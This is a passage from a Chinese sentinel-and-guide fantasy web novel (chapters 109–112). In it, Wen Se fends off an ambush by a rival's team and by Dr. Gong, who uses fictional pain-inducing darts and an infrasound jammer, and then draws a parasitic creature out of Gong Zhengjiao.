一开始,彭枭觉得这人比自己还可笑,完全就是个只会做白日梦的LOSER。 但他忍不住追更了。 随着帖子更新,他竟然觉得,写得还不错,今晚做梦素材有了。 养伤期间,彭枭无数次回想和闻璱做同期、做队友的过去,伤痛让他又爱又恨地生出一种“闻璱我算不算是这世界上你最恨的人”的反向爽感。 他把帖子当做一种另类的抚慰剂。 写下帖子的人如何YY和闻璱的美好未来,他显然不能拥有了——但他一定是闻璱这辈子最恨的人,总好过这个只能YY的、闻璱的陌生人。 这让彭枭既不屑也不齿。 然而,彭枭没能预料到的是,那个梦男帖开始爆火。 大概是因为大猫骑士一直孜孜不倦不知疲惫地开火、赛博执法并散财,收了红包的人自然继续替闻璱说话,也替大猫骑士的平反帖宣传。 越来越多的网友被从骂人的帖子引流到梦男帖,观看这些“美好幻想”。 随着越来越多的吃瓜路人涌入,回帖竟然也从对大猫骑士的嘲讽和允悲变成了某种同情。 有人说,不影响公序良俗的话,自己幻想一下满足自己也不是不行,毕竟帖子里没记录什么下三滥的意因,都是些很纯爱的故事而已。 有人附议,认为唯一的缺点是发出来不太好,因为闻璱本人可能会刷到、会介意。 大猫骑士回覆了这条评论:【他同意了。】 这时当然没有人认为,句子里的主语“他”会是闻璱本人,大家只觉得这个大猫骑士真是入戏啊,太入戏要不得,不然还是去看看心理医生。 彭枭也不例外。 大猫骑士无视了任何这些异议讨论,只是继续默默地写着梦男小故事。 或许是因为他写得实在——不知道该不该说是好,有时莫名伤春悲秋,有时又过于甜腻,偶尔有时还掺杂着一些天马行空的文本,那种分开来看每个字都能看懂,但连在一起就读不明白了的胡言乱语。 但情感真挚这一点是公认的。 总而言之,意外地引发了一些人的共鸣。 因为这篇“读了让人很羡慕”的梦男文学被越来越多的人追更,有人从字里行间扒拉闻璱生活的细节分析真伪,也有人戏称之为“猫学”。 本来只是个乐子,流行也流行不了多久。 结果由于论坛著名人物“假猫”在线打假反对传播,又引起了新一轮传播。 众所周知,“假猫”是金峙的ID,他也是公会在役特种人里的风云人物。 金峙上来就说要给大猫骑士封号,甚至公然发布悬赏说要抓住这个缩在小号背后写梦男文学散步谣言的人,并无差别攻击所有在回帖里表示同情或羡慕的人。 彭枭幸灾乐祸地出言支持了一句。 然后这两人就被扒出来都在很久之前就收藏了这篇帖子,比绝大多数网友都早。 这引起了前所未有的网友抵触心理。 当然号没有真的被封,悬赏帖子也很快被删掉,可见他这狠话放得确实也只是狠话而已——但成功地把嘲讽的火力都吸引到了自己身上。 一时间大猫骑士这个梦男摇身一变成了“只是在写故事而已”,金峙才是那个动不动就想用强权压人的小心眼。 还有人说:看看,蒸饺omo都没说过这么猖狂的话。 正巧又翻起新一轮的平反,再次开始有人讨论闻璱面对彭枭时,是否就如像大猫骑士面对金峙这般无奈且无语。 猫学梦男文学的流传,无形之间也让阅读过的网友多少代入其中,对闻璱的印象从“哦那个捞男”变成了“啊他好完美只是太有魅力了但这是他的错吗不是”的无辜向导。 风向就这样悄无声息且莫名其妙地又顺着大猫骑士,也顺着闻璱刮了。 彭枭再次在论坛上被提起,就成了“那个和金峙一起欺负人”的家夥。 这时再有人提出彭枭曾经的爆料并无任何有意义的实锤,自然而然地获得大量附议,甚至不免波及到警卫部的彭长空,舆情让彭部长还写了好几份检讨反思自己教子不力。 在这后来还有更重的一层暴击:蒸饺omo本人真的在梦男帖回覆了,字里行间俨然大猫骑士就是他的小号。 彭枭刷到回帖里那张戒指照片时正在日常复健,在跑步机上当场摔了个大马趴。 他立刻回想起过去几次见到弓铮皎,心里比网友更清楚,是弓铮皎的话,梦男帖的这些“故事”很可能是纪实文学。 显然弓铮皎确实被闻璱迷住了,更显然的是——这一切现在想来,似乎还是他给这两人搭上了线! 网友如何议论尚且不知,因为彭枭实实在在地碎了,那之后到现在甚至不敢打开论坛多看一眼。 彭枭只觉得人生真是处处碰壁,没有一处顺利。 这小半年不招全世界待见的养伤日子下来,彭枭康复后立刻拉起了新的小队,打算在事业上找回场子。 只是他毕竟半年多没有经过高强度训练了,连这个驱赶蔓生蜥蜴的简单任务都犯了错。 就这样发生了一些摩擦,队友之间彼此都认为或许组建小队这个决定太过冲动,他们一行打算直接离开污染区去解散小队了。 不过,在离开污染区之前,彭枭遭遇了“袭击”,这才让小队停下脚步。 起初大家都认为可能是落入了附近栖息的流泪蛙的陷阱,但准备离开之际……倒有些意外发现。 “闻璱带小队偷渡进入污染区了。”那人说,“既然都打算解散了,不如在那之前最后再领一份奖励积分。公会有规定,所有在役特种人都有义务制止违规行为,不是吗?” 彭枭心动了,因为这能让他更有面子——大可以说是在污染区逮住闻璱之后心里难受决定再回家疗养,而不是任务犯错被队友嫌弃。 其他队友也心动了,因为毕竟有奖励分还能近距离八卦论坛风云人物,谁不心动。 无所事事的小队就这样原地扎营,等了几天几夜,直到现在—— 直到现在看到闻璱毫无波动的脸,彭枭前所未有的崩溃、后悔自己为什么要这样做。 如果不见到闻璱,他还能安慰自己最恨怎么不是一种特殊对待?弓铮皎现在是届到了,然而自己这个闻璱平生第一大仇人还不是横亘在两人感情之间?总之能让闻璱如鲠在喉他就爽。 所以他最不爽的也就是,此时此刻,闻璱看到他和看到蚂蚁没区别的样子。 “干嘛这种表情,难道弓铮皎那么有钱都满足不了你吗?” 闻言,闻璱却还是没有什么神情变化,连眉毛都没挑一下,淡淡道:“你们有什么事吗?” 彭枭一时失语。 彭枭的队友语气还算友好,倒不是因为有什么感情因素,而是看到闻璱身边又跟着两个金峙小队的哨兵,估算了一下觉得硬来恐怕不容易。 他心里一边想金峙不是还在论坛被鞭尸吗,怎么这边已经和闻璱又勾搭上了,一边吃瓜之魂熊熊燃烧,面上却不显:“闻璱,你没有接任务,现在这是偷渡?” 闻璱拿出早就准备好的说辞:“金峙的任务,我是临时填队向导。” 花豹哨兵和秃鹫哨兵对此也表示认同。 彭枭的队友迟疑道:“但是有人跟……” 彭枭打断道:“你以为金峙对你很好吗?哦对,你不爱上网逛论坛,你知不知道他在外面怎么说你?” 顿时,花豹哨兵和秃鹫哨兵都是心里一紧。 他们都对金峙的事情知情,花豹哨兵还更心虚些,他清楚自己是如何的双标:上一次彭枭发癫,他主动请缨;这一次金峙发狂,他却只是装傻而已。 闻璱对这个问题却丝毫不关心:“不知道。没事的话,我们先走了?急着交任务。” 不过是礼貌地道了一声“没事的话”,实则闻璱已经示意身后的哨兵跟上,完全没有作出“如果真的有事就会再寒暄两句”的反应。 花豹上却传来一声很低的呻吟:“……走不了了。” 闻璱回头:“什么?” 所有人都顺着闻璱的目光回头望去。 弓铮皎用手捂着脑袋,掩住了上半张脸,下半张脸的虎牙却已然开始变长。 “快走。”他有些矛盾地说,“我走不了了。” 话音刚落,一道“嗖”地细微锐声撕破空气,不知从何而来,却直冲闻璱面门! 第110章 现在拍什么照啊! 偷袭快,但闻璱躲避的速度更快,更不用说还有两个警惕的哨兵时刻防备着,他当然没有被击中。 特种人的战斗神经敏感,即便闻璱是向导也不例外,在场中人都能察觉到,这一箭未经掩饰,并不带有什么恶意和杀意。 等箭头落地,发现那只是一小截树枝,造不成任何杀伤,更佐证了这一点。 也因此闻璱只是闪开,并未还手。 一击未遂,所有人的目光都投向袭击的来源方向,包括“自己人”。 出手的是彭枭小队的一个哨兵,精神体是鬣狗。 下作如彭枭都震惊了:“你干什么?” 鬣狗哨兵面无表情:“你说呢?我是受不了你在这发癫。” 他不再遮掩手中的改装弩箭,直勾勾地盯着闻璱,补完了刚才另一个队友没能说完的话:“你真的和金峙组了野队吗?有人跟我们说,你是偷渡的。” 事到如今,他必然得听听鬣狗哨兵的话,面不改色道:“谁?” “一个奇怪的人。”鬣狗哨兵又问,“所以你到底是不是偷渡的?组野队的话,拿出你的临时ID铭牌来。” 很显然,闻璱确实拿不出这个临时身份——如果能用临时身份的话,他当然也可以以自己小队的身份随便接一份任务进入污染区了。 而闻璱几人被卡程序导致无法以正常途径进入污染区的事情,除了他们本人之外,就只有操作程序使绊子的人了。 闻璱的目光中似乎带了几分质疑:“……希冕创辉的人?” “我哪知道。”鬣狗哨兵摇了摇头,“但他真的很奇怪,既散发著向导素,也有哨兵的气味。” 此言一出,电光火石之间,让闻璱联系上了逄靥星的留言。 逄靥星所谓的“人妖”或许不是什么二元性别界定的人妖,而是哨兵与向导两性间的“人妖”。 谁会能同时散发向导素和哨兵气味? 通常情况下,哨兵为了宣誓主权或许会在伴侣向导身上留下气味,向导散发向导素则不是安抚就是调情。 眼前彭枭小队的这几个哨兵并不存在任何安抚需求,因此,如果不是这个“向导”追求刺激,专门带着结合哨兵的气味来偷情,那就只可能是这些精神力的散发并不受个体自由操控。 闻璱眯了眯眼睛:“他是不是一头金色长卷发,蓝眼睛,笑起来时高低眉?” “你认识他?”鬣狗哨兵说,“高低眉我倒是记不清了。” 果然——是宫博士。 他掌握者人造特种人的技术,并觊觎着弓铮皎的精神体,会在自己身上做一些研究,或者说是必要的“术前准备”,来预先适应特种人的体质,误打误撞地迷惑了逄靥星河彭枭小队的判断。 这个推测大概合理,但闻璱还不明白,宫博士为什么会亲自出现在污染区?还能到达一区那么深的地方? 程序上的不合理有钻空子的办法,更令闻璱在意的是宫博士的意图。 宫博士是来“抓”弓铮皎的吗?用什么手段?怎么确保对弓铮皎有效? 又是什么意外的发生,让宫博士不再耐心等待,而是冒险深入污染区?会不会还有什么后手? 闻璱看着鬣狗哨兵手里的弩箭,问道:“这也是他给你的?” “我自己的,但他似乎很感兴趣,就给了我们几个适配的特制麻醉弹,说能用来对付你们。”鬣狗哨兵再次执意发问,“所以你真是偷渡的?” 闻璱直接伸手:“给我一颗看看。” “那你得先回答我的问题,否则就只能让你的身体来承受它了。”鬣狗哨兵固执道。 他作势把箭头填装进弩箭,似乎闻璱一旦承认偷渡他就会立刻射击,看来是真的很想得到这份“见义勇为”的奖励积分。 “慢着。”彭枭打断二人,“闻璱,你真的不感兴趣金峙说过什么?那你又知道弓铮皎背着你偷偷干了什么事吗?你……” 彭枭看了一眼鬣狗哨兵,转而道:“你问问我,我就把我这颗麻醉弹给你。” 说着,彭枭从口袋里取出自己手里的几枚特制麻醉弹,装模作样地在掌心里抛接着。 “……叛徒。”鬣狗哨兵对他耍帅的动作大翻白眼,张口就是一声啐。 闻璱没有理会两人内讧。 索要不成,他也并不打算继续拉扯下去,背在身后的手比了个手势,示意花豹哨兵可以先走——至少花豹和弓铮皎可以先走了,而闻璱能飞,自然也不担心这两步路的距离。 他余光瞥见弓铮皎趴在花豹上,已然好半天不出声,只有在闻璱偏过头时,艰难地融合出一只飞机耳抖了抖。 “小心……”弓铮皎的声音很微弱。 闻璱低声安慰了一句:“你先走,没事,我会赶上你的。” 然而就是这一声叮嘱叫彭枭察觉到了什么,脸色立刻难看得像误将雕枭的羽毛花色拟态融合成了面部皮肤。 “谁在那?”彭枭阴沉道,“不会就是金峙吧?闻璱,怪不得你那么冷静,原来……” “不是。”闻璱淡然道,“是弓铮皎,你很想见见他吗?” 对于彭枭来说,这比是金峙还糟。 金峙虽强,强在他是个关系户上,单论无力,受伤之前的彭枭仗着会飞,倒不是很怵金峙。 可弓铮皎就是彭枭曾经伤的来源之一,撇开背景不谈,彭枭都对他有点心理阴影了。 好在弓铮皎此前一直没让彭枭几人听见自己的动静,闻璱刚才的语气又实在太过温柔,刺痛彭枭的同时,让彭枭产生了一个推测:他们吵架了。 彭枭当然不会认为,这污染区会有什么让弓铮皎伤到说不出话,除非是闻璱让弓铮皎伤心了——就像以前的自己。 彭枭心里一喜,连忙自作聪明地火上浇油道:“你让弓铮皎陪你加入金峙的小队?真有你的,闻璱,你是不是很喜欢我们几个顶级哨兵为你争风吃醋的感觉啊?” 闻言,花豹哨兵嗤笑一声:“你算什么顶级。” “你!”彭枭气得一把捏紧了麻醉弹。 正要反驳,才组织好的语言还没来得及出口,异变又生。 只见鬣狗哨兵手里的改装弩箭莫名“走火”,一发快如闪电的弩箭就这样射出,目标方向却是彭枭的手。 或者说,是彭枭手里的那颗特制麻醉弹。 距离更近,弩箭异常又在人意料之外,即便鬣狗哨兵甚至用自己的手去拦,仍然没能成功阻止弩箭发射。 接着,他本能地令精神体扑过来,哪怕明知精神体无法对这支具有实质的弩箭做什么——不只是他,另外几个哨兵也有类似的反应,连天上的秃鹫都有一个下意识俯冲动作。 然而说时迟那时快,闻璱有种很不妙的预感,或者说猜测,对于所谓“特制麻醉弹”的真实身份。 他比在场的所有精神体都反应更快。 一瞬间,流淌着缎光的羽翼在闻璱背后展开,他一头白发也化为同样的乌黑。 速度快到闻璱的双眸彷佛在哨兵的视觉里留下一道血红的流光——闻璱没有去阻止那发已经被射出的弩箭,而是淩空一脚踹飞了彭枭,又在半空中用双翼拂开其它精神体。 他的身体在半空中完成了一个叫人不敢置信的动作,宛如杂技舞蹈,修长的手臂动作优美且迅速地截走了失衡的彭枭那颗脱手的麻醉弹。 一场还不知是滑稽还是危险的风波就这样消弭。 闻璱并没有落地,而是停留在半空中,顺手柄俯冲到一半了的秃鹫拍回去。 动作时,闻璱听到下方似乎有一闪而过的微光。 还有彭枭队友有些无语的声音:“卧槽这是什么情况……不对,你搞什么?现在拍什么照啊!” 鬣狗哨兵怒道:“你别管!” 是闪光灯和快门吗? 闻璱没能来得及深究这个问题。 他本能地感知到有什么不对,厉声道:“散开——” ——霎时间,一声巨响伴随着强光爆炸在几人之中! 震荡弹,对于五感敏锐而反应快体质强的哨兵来说,比破片弹、□□的威力还要大得多。 闻璱不是哨兵,却因为离爆炸中心太近,同样被震得恍惚过去,自半空中跌落。 他脑袋里嗡嗡响,双眼也被强光晃得一时无法调动视觉,除了回声和眩光,什么也看不到、听不到。 然而预料之中的坠地疼痛迟迟未到,闻璱只觉得好像有点颠簸,或者说是,在翻滚。 就像被装进了三维弹球游戏机的那个弹球里面一样,幸好这个弹球的内壳很柔软,还很温暖。 又有点像是冰箱里刚拿出来的隔夜饭米粒,被倒进锅里翻来炒去,直到每一粒都裹上金黄的蛋衣…… 没错,金黄。 闻璱终于找回了半分意识——他的视力受到损伤了吗?为什么感觉过去好一会儿了,眼前还是一片模糊的浅金色在乱晃? 他伸出手指屈伸想测试自己的目视能力,然后被柔软的毛毛溢满指缝。 ……怎么回事? 翻滚早已停下,但闻璱仍然被包裹在绒毛中,他过了一会才缓过劲来,手上用力薅住金色的绒毛。 就像握住了什么开关,毛茸茸的“软壳”顷刻间展开,把闻璱“吐”了出来。 他才发现那是阿咬的腹部绒毛,或者说,是完全融合态的弓铮皎的兽形绒毛。 这只巨大的野兽显然比考古学家复原的模型体型更大,闻璱刚才就是被压在腹下,又被尾巴缠了一圈,现在爬起来时,又被后足轻轻按着卧了回去。 闻璱:“?” 他有些迷茫地开口唤了一声:“弓铮皎?” 想来声音没能传出多远,只有刃齿虎察觉到闻璱的呼唤,用尾巴缠得更紧了些。 闻璱还有些耳鸣,却也在嘈杂的声音中听到两道声音。 一道是野兽哈气的嘶嘶声,夹杂着混乱过速的心跳。 还有一道是人声,伴随着脚步声的回声越来越近。 “……怎么只有你?闻璱呢?” 110-117 第111章 真是太超过了。 来人说不上陌生,是宫博士,也是弓铮皎法律意义上的父亲。 闻璱前些天和宫董会面过,对相似的声音本来就有些印象,更不用说异变发生之前,他才对宫博士起了疑心。 但是那错乱的脚步声究竟真的是回声,还是来人不止一个? 被刃齿虎压住的闻璱视野里只有金色的毛毛,后足和尾巴把闻璱固定在腹下,闻璱看不到外面,外面的人也看不到闻璱。 宫博士便是如此。 他绕过刃齿虎,提着弩箭搜索了一圈周围,翻开晕倒满地的哨兵依次检查,唯独不见闻璱的身影。 于是,就只剩下刃齿虎盘踞的位置还没有搜索了。 当宫博士再次把目光放在刃齿虎身上时,便多了半分瞭然。 弓铮皎的攻击性那么强,遭遇突袭却并未丧失战斗能力的情况下,和袭击者互相试探拉扯绝非他的战斗风格。 他应该会在第一时间就把宫博士撕碎才是,即便袭击不成,以他的速度,逃离也轻而易举。 然而,此时此刻,他不袭击,也不逃跑,结果就很显然了。 猫科动物哈气的理由无非那么几个,领地意识、疼痛、警惕……或者是护崽。 宫博士缓缓上前两步。 他看着刃齿虎目露痴迷,但也有人类面对如此庞大的野兽时那种出于本能的深深忌惮和恐惧,因此他从未放下弩箭,也并不敢靠得太近。 “你还是太虚弱了……噢,是那个催化剂消磨了你的精神力。”宫博士道,“如果是全盛状态的你,恐怕连步枪子弹都能躲过吧?怎么会惧怕我手里这把小小的弩箭呢?” 刃齿虎似乎并未被激怒,只是目光锁定宫 博士,蓝紫色的瞳孔细如长针。 “束手就擒吧,孩子。”宫博士看着他,“这周围都被布设了干扰器,特种人会无意识地绕开,也就是说,你不会有增援,也不能反抗,因为这个。” 话音刚落,他把一发“特制麻醉弹”扔了过来,任由刃齿虎小心翼翼地嗅闻。 然后,就被“刺”得一爪拍远了那枚麻醉弹。 宫博士提醒:“小心点,它炸开就会散开到空气里,到时,可就不只是清创那么简单了。” “不过,这次我是想给你带来一个好消息。”宫博士的嘴角慢慢上挑,勾起一个近似于完美的微笑,正如记忆中照片上那般,一侧眉毛无意识地扬起。 “我知道,你一直很想得到家人的关爱,只是之前我和你叔叔都忙于事业,疏忽了你,而你又一直让我们省心……”他睁眼说瞎话,“现在终于有一个机会了,以后你想要的一切都能得到。” 他对着刃齿虎抬了抬弩箭:“乖孩子,把闻璱交给爸爸。” 刃齿虎低吼一声,用前爪焦躁地刨了刨地,但没有任何动作。 宫博士目光不动,脸却微微转向身侧:“他说什么?” “他说……你要闻璱做什么。” 闻璱心中震惊,因为这声音的主人他再熟悉不过,除了逄靥星,不会有别人。 只是语气冷漠、平静,古井无波,全然不似平日里说话时感情充沛。 与此同时,一条黑白条纹的修长银环蛇嘶嘶吐信,时刻准备偷袭。 失去踪迹的这两人,看起来居然还是没能撤离,落入了宫博士的手中。 而宫博士面对这个问题沉默了片刻,似乎在斟酌该如何表述。 片刻后,他避重就轻道:“有他在,你就不用担心了。” 这番话语焉不详,但闻璱猛地反应过来,这一次宫博士的目标,根本就是自己。 宫博士知道自己也是融合派特种人了——是因为会面之后宫董将发生的事情告诉了宫博士,才由此推测出的吗? 弓铮皎的精神体太强,闻璱的精神体却远没有那么难以抑制,当宫博士明白闻璱的情况之后,移植手术的理想供体就从弓铮皎变成了闻璱。 闻璱当然不会束手就擒。 然而事到如今,场面实在不能说是很顺利。 一则逄靥星与舒颖的情况不妙,这两人无论如何也不可能被威胁威胁就反水,背后必然还有隐情。 二则……弓铮皎的情况更微妙。 两人的连接从未被切断,闻璱试探着悄悄散出精神力和向导素,试图和弓铮皎沟通,却一直没有得到任何回应。 结合弓铮皎现在的完全融合态,闻璱怀疑弓铮皎已经失去了主观行动能力——现在是作为阿咬的那部分潜意识,或者说本能,在促使着他护崽式地保护闻璱。 而刃齿虎似乎也真切地忌惮着宫博士手里的弩箭,否则不会连试都不试,就这样僵持住。 弓铮皎的战斗判断很少出错,也就是说,宫博士居然真的有一份针对特种人精神体的“杀伤性武器”? 或许控制逄靥星和舒颖的也是通过同样的手段,连带着闻璱一时间也不敢轻举妄动。 宫博士那边,其实也是同样谨慎。 他看似占据上风,实则内心清楚,他所仰仗的无非是身上所携带的干扰器和手里的这把特制弩箭。 对逄靥星、舒颖,乃至于对弓铮皎都还算有威慑力,唯独对闻璱的效果还未可知。 “特制麻醉弹”其实并没有任何麻醉效果,恰恰相反,它带来的剧痛能让哨兵失去抵抗。 麻醉弹的主要成分提取自柳部长的向导素,他有着罕见的植物型精神体,金皮树。 金皮树毒素致痛性极强的同时,还能抑制细胞分裂,对哨兵更是多重意义上的特攻。 剧烈的瞬间疼痛足矣让一个健康状态的哨兵还没来得及反应过来自己在痛,就一脚迈入轻度神游状态。 辅以干扰器的特殊次声波,轻度神游的哨兵会意识模糊,分不清现实与精神图景。 这一发现完全是个意外,后来被封存在卷宗中,为了不被他人利用,柳部长常年服用抑制精神体活性的药物,许多年前就已经无法主动调用精神体。 除了希冕创辉的生物信息库里还存储着一份柳部长的向导素样本。 宫博士就是用这两样东西成功埋伏了逄靥星和舒颖,效果斐然,比他所见。 但对于闻璱而言,这就只是一支普通的、挨了之后会很痛的箭头而已。 刚才布设的震荡弹爆炸之后,宫博士当然也对闻璱射出了这样一箭,毕竟不论效果如何,能够削弱对方总是好的。 只不过目前看来那一箭没能射中,闻璱似乎仅仅被震晕过去而已,现在意识不清地被弓铮皎化作融合态护在身下。 宫博士对局面的判断也很简单:显然失去意识的是闻璱,他无法自行移动、配合逃离,所以弓铮皎才投鼠忌器,只是把他护在身下,生怕在干扰器的影响下一时不察就让闻璱被弩箭命中。 也就是说,一旦闻璱醒过来,弓铮皎没了忌惮,局势将立刻逆转。 面对着发狂的弓铮皎,宫博士也很难想像自己的活路在哪。 所以,不能再拖延了,要快。 宫博士抬手示意逄靥星和舒颖包围。 刃齿虎警惕地冲着二人哈气,又不那么响亮地咆哮了一声,仍然把静静贴着腹腔的闻璱震得耳朵发麻。 宫博士连忙问:“他怎么了?” “他说……”这一次传话的是舒颖,同款的冷漠语气,“你不是为了催化剂来的?” 宫博士皱眉道:“当然不是——没时间再和这个疯子讲道理了,他在拖延时间,动手,让他把闻璱丢出来!” 然而闻璱却是醍醐灌顶,倏地反应过来,逄靥星和舒颖根本就是清醒且故意的! 弓铮皎完全失去响应了,刚才的吼声并没有丝毫含义,不过是阿咬作为动物的本能而已。 不只是舒颖的这句话,连逄靥星转述的上一句也完全是这两人潜伏着在试探情报。 闻璱一直悬着的心总算落下来一半,但也只有一半。 如果不是宫博士的手里确实有杀伤性武器,他们两人完全没有蛰伏的必要。 况且闻璱也有种淡淡的无奈,他被刃齿虎保护得很好,但有些过于好了,任他无论如何努力都爬不出刃齿虎的肚皮,想出都出不去,只靠偷听能获取的信息实在有限。 最理想的展开当然是唤醒弓铮皎,一切难题大概迎刃而解。 唤醒他的方法也有,譬如共鸣炸弹,高效,闻璱恰好还很擅长。 但是…… 弓铮皎这一路上已经很疼了。 现在纠结这些或许没有必要,也不太实际,不符合闻璱一贯的行事风格——但把感情带到工作关系里的弊端就是这样,闻璱不得不承认,自己面对这般抉择时,也不能免俗。 闻璱也立刻找到了藉口,譬如,弓铮皎已经积攒了过多信息,再用共鸣炸弹轰他,他可能会失控;又或是弓铮皎的神经里还有个诡异的生物,万一共鸣炸弹引起了它的反应,对弓铮皎也可能造成其它创伤。 谨慎些总是好的……没错,是谨慎。 思索之间,逄靥星和舒颖的精神体已然围攻上来,一熊一蛇试探性地攻击了几次,却没有真的造成任何实质损伤。 宫博士射出一发弩箭,被刃齿虎一爪拍开,险些反弹回宫博士自己身上。 逼仄的腹下空间里,闻璱则摸索着用掌心抵住刃齿虎的腹部摸了摸,缓缓道:“放松下来吧,把‘它’给我。” 他向弓铮皎索取那只“寄生”的‘酸雨生物’。 意料之中,刃齿虎没有给出任何回应。 闻璱也并不生气,掌心紧紧贴在刃齿虎的腹部,力度不轻,对刃齿虎来说却连挠痒痒都算不上。 但闻璱也并不是真的打算给弓铮皎挠痒痒,他耐心地用指尖轻轻揉捏着,试探调频。 ——直到某个微妙的频率下,毛茸茸的肚皮像非牛顿流体一样化开,让闻璱的手指伸了进去。 他找到了正确的频率,自此开始“同频”。 于是,这个精神力外化的兽形就像奶油一样,似乎要把闻璱融合进来。 虽然没有任何亲密行为,但这其实近似于结合了,哨兵和向导之间的结合就是在亲密行为中查找这个共舞的频率。 闻璱反其道而行之,心里没有任何青涩想法,两性的本能却还是试图唤醒他的亲密冲动,惹得他一时为这不懂事的生理反应冒火。 他知道弓铮皎也是一样,在他把手“伸进去”的瞬间,刃齿虎前所未有地伏低身体,咆哮着吼退一切攻势。 ……真是太超过了。 事后绝对要把这件事瞒着弓铮皎,否则此比猫必然无法无天。 闻璱默默地想着,克制住自己只伸进去一只手,小心翼翼地用指尖查找自己的目标。 最终,他握住那颗发狂一样乱跳的心脏,用手指包住了过于兴奋的鼓动,试图用外力降低心跳频率。 趁此机会,他用精神力也同样查找着异常的神经元信息,直到一阵电流般的神经刺痛感顺着指尖一路传遍全身,痛得他一激灵。 隐隐约约之间,有什么东西黏上了闻璱的手指。 它似乎也很虚弱,很痛苦,不同于寄生在奶油鳄时那么死守阵地,而是主动得甚至有些期待被闻璱抽离。 闻璱忍着痛,指引着它远离自己的神经系统,而是调整频率,试图将它们放进自己的精神图景。 起初,这遭到了强烈的反抗,大概弓铮皎就是在这一阶段僵持片刻之后,判断这场博弈能拉锯很久,便果断放弃,任它藉由牙齿寄生钻进神经。 但此时此刻它太过虚弱,闻璱压制它虽然说不上易如反掌,却也可以说是十拿九稳。 彻底把它剥离下来的瞬间,闻璱立刻调整到其它频率,单向切断和弓铮皎之间的同频。 ——压住闻璱的兽形瘫软下来,逐渐变成了人形的弓铮皎。 他昏倒在地上,身体稍微蜷缩着。 闻璱则沉入精神图景的那片湖泊,见到了传说中的‘酸雨’。 第112章 这种危急关头,你也能…… 清澈的粉湖无边无际,只有一小朵涟漪,让闻璱立刻找到了它的存在。 它确实有近似于水母的外形,但此时此刻,伞盖并不像是一个完整的铃形,而是展开成了两片,近似于扇形鹅翅。 两片透色的翅膀轻轻搧动着,浮在粉色湖泊的水面上,水面下,半透明的触手轻而缓地漂动,中间口腕像荷叶边的褶皱,散发出几点亮光。 闻璱眼疾手快,一把捏住它的翅膀,把它提出湖中。 在自己的精神图景里,闻璱有绝对的掌控权。 他捏着这只诡异的生物,避免触碰到触手,也避免从荷叶边掉出来的光点掉进自己的图景里,试图调频跟它沟通。 不幸的是,频率从高调到低,闻璱找到了能听懂它的频率,却发现无论在哪一个频率,这种生物似乎都无法接收到自己想要传递的信息。 很有可能它保留了正常水母的部分结构,它并不存在大脑,只有神经元。 脱离湖水之后,它的触手很快变得干瘪、卷曲,彷佛在说:好疼。 闻璱刚才听到的也是这样的信息——它不断地重复:疼、疼、疼…… 这多少有点莫名其妙了,疼痛不就是它所带来的吗?至少弓铮皎之前牙疼了一路就是因为这个东西。 毕竟不是在实验室里,闻璱不好就地开始研究,只得在精神图景里捏造了一个单独的局域,控制住这只生物。 脱出精神图景时,映入眼帘的便是卧在一旁的弓铮皎。 他大概是彻底失去意识了,蜷缩的姿势宛如返回母体的胎儿,手心却还紧紧地攥着闻璱的外套衣角。 与此同时,一支利箭破空而来,伴随着一声熟悉的惊呼。 “小心!” 闻璱的余光瞥见一旁的北极熊和逄靥星一同向自己扑来,熊脸和人脸上都写满了震惊。 比起攻击,这动作当然更像是想要把闻璱扑开,只是距离尚远,恐怕很难成功。 而弩箭再次发射的声音紧随其后。 闻璱的听力远不如这几个哨兵,拟态融合之后,才堪堪能够听声辨位出第二发弩箭射向逄靥星。 显然宫博士已经察觉到逄靥星动作的异常。 另一侧,舒颖的银环蛇调转方向猛然袭向宫博士。 然而在这发弩箭射出的同时,宫博士就直接将干扰器调到了最高强度—— 闻璱用小翼立刻护住耳朵,逄靥星和舒颖却躲避不及,立刻被声压冲得栽倒在地上,逄靥星甚至无法抑制地干呕起来。 第三箭,宫博士的计画是瞄准闻璱。 当他用弩箭对准闻璱时,却发现不过是眼皮一眨的功夫,那处已然只剩下一个趴在地上的弓铮皎。 怎么可能?不对劲! 宫博士瞳孔骤缩。 他对自己用弩箭射击的水平心里有数,所以格外警惕,刚才弓铮皎才趴倒,闻璱还躺在地上时,他就立刻射出了一箭。 这一箭距离并不算很远,以他的水平,固定靶不可能脱靶。 紧随其后的第二箭虽然未必能命中,却也成功地逼开了逄靥星扑救的路线,又用次声波控制住了这两人,按理说,闻璱想要避开他的第一箭,就只能闪躲向接下来的方向…… 除非闻璱完全没躲,直接接下这一箭。 箭头扎进闻璱的手背,一阵钻心的刺痛顿时爆发开,闻璱也是眉头一紧。 但他彷佛丝毫没有受到影响,双翼展开,直冲向宫博士。 在次声波的干扰下,闻璱对宫博士的定位也难免出现误差,所以为了确保这一击必中,他在宫博士近前就放弃飞行,用那双展开之后格外庞大的双翼攻击。 翅膀扇在宫博士的肩上,当场把宫博士扇得飞了出去。 只是宫博士也很谨慎,弩箭、麻醉弹和干扰器都被固定在他的手臂和腰上,哪怕主观脱力,也不会让这些武器脱手。 他在半空中翻滚,有些手忙脚乱地触发了其它布设好还没用上的震荡弹,地面上又是一阵噪音与爆闪。 还没等到落地,又被闻璱赶上。 闻璱用小翼护住了耳洞,但仍然受到震荡弹影响,耳洞里流出一丝血色。 他顾不上再管地上的人,反正震荡弹的实质杀伤力有限,最多让这些哨兵晕得更久,现在,他必须先控制住宫博士。 这一回,闻璱从背后锁住宫博士的喉咙,似乎打算直接拧断脆弱的脖颈。 一时间,对死亡的恐惧让肾上腺素发力,哪怕宫博士固定着弩箭的那只手臂连同肩颈都痛得像是碎成了粉,他还是用另一只手摸到麻醉弹,想把箭头插进身后闻璱的身体里——闻璱想躲开就必须要松手。 挨过一箭的闻璱当然知道这看似小巧的箭头有多吓人。 到现在,他中箭的那只左手都痛得使不上力,连带着半边身体似乎都在发颤。 但他清楚现在无论付出什么,都不能再给宫博士任何缓冲的机会,宫博士手里针对特种人的武器太多。 好在这一箭最终没有成功扎进去。 颈动脉受压令宫博士只来得及抬起颤抖的手,意识终究无法支撑着他用力,完成昏迷之前对闻璱的最后反击。 闻璱缓缓下落,在还没有完全降落时就松开手,失去意识的宫博士便坠落下去,被艰难赶来的逄靥星接住。 干扰器被快手的逄靥星立刻关闭,连同弩箭、特制麻醉弹一同拆除,即便如此,逄靥星仍然不安心地翻来覆去检查了宫博士浑身上下好几圈,确保没有任何其它可疑设备,才把人捆起来。 他恶狠狠地用熊掌一拳打碎干扰器,扒拉着碎片抱怨道:“真是服了,这些东西都是哪弄来的?” 被一个普通人逼成这样,逄靥星觉得这事说给以前的自己听,连自己都会笑掉大牙。 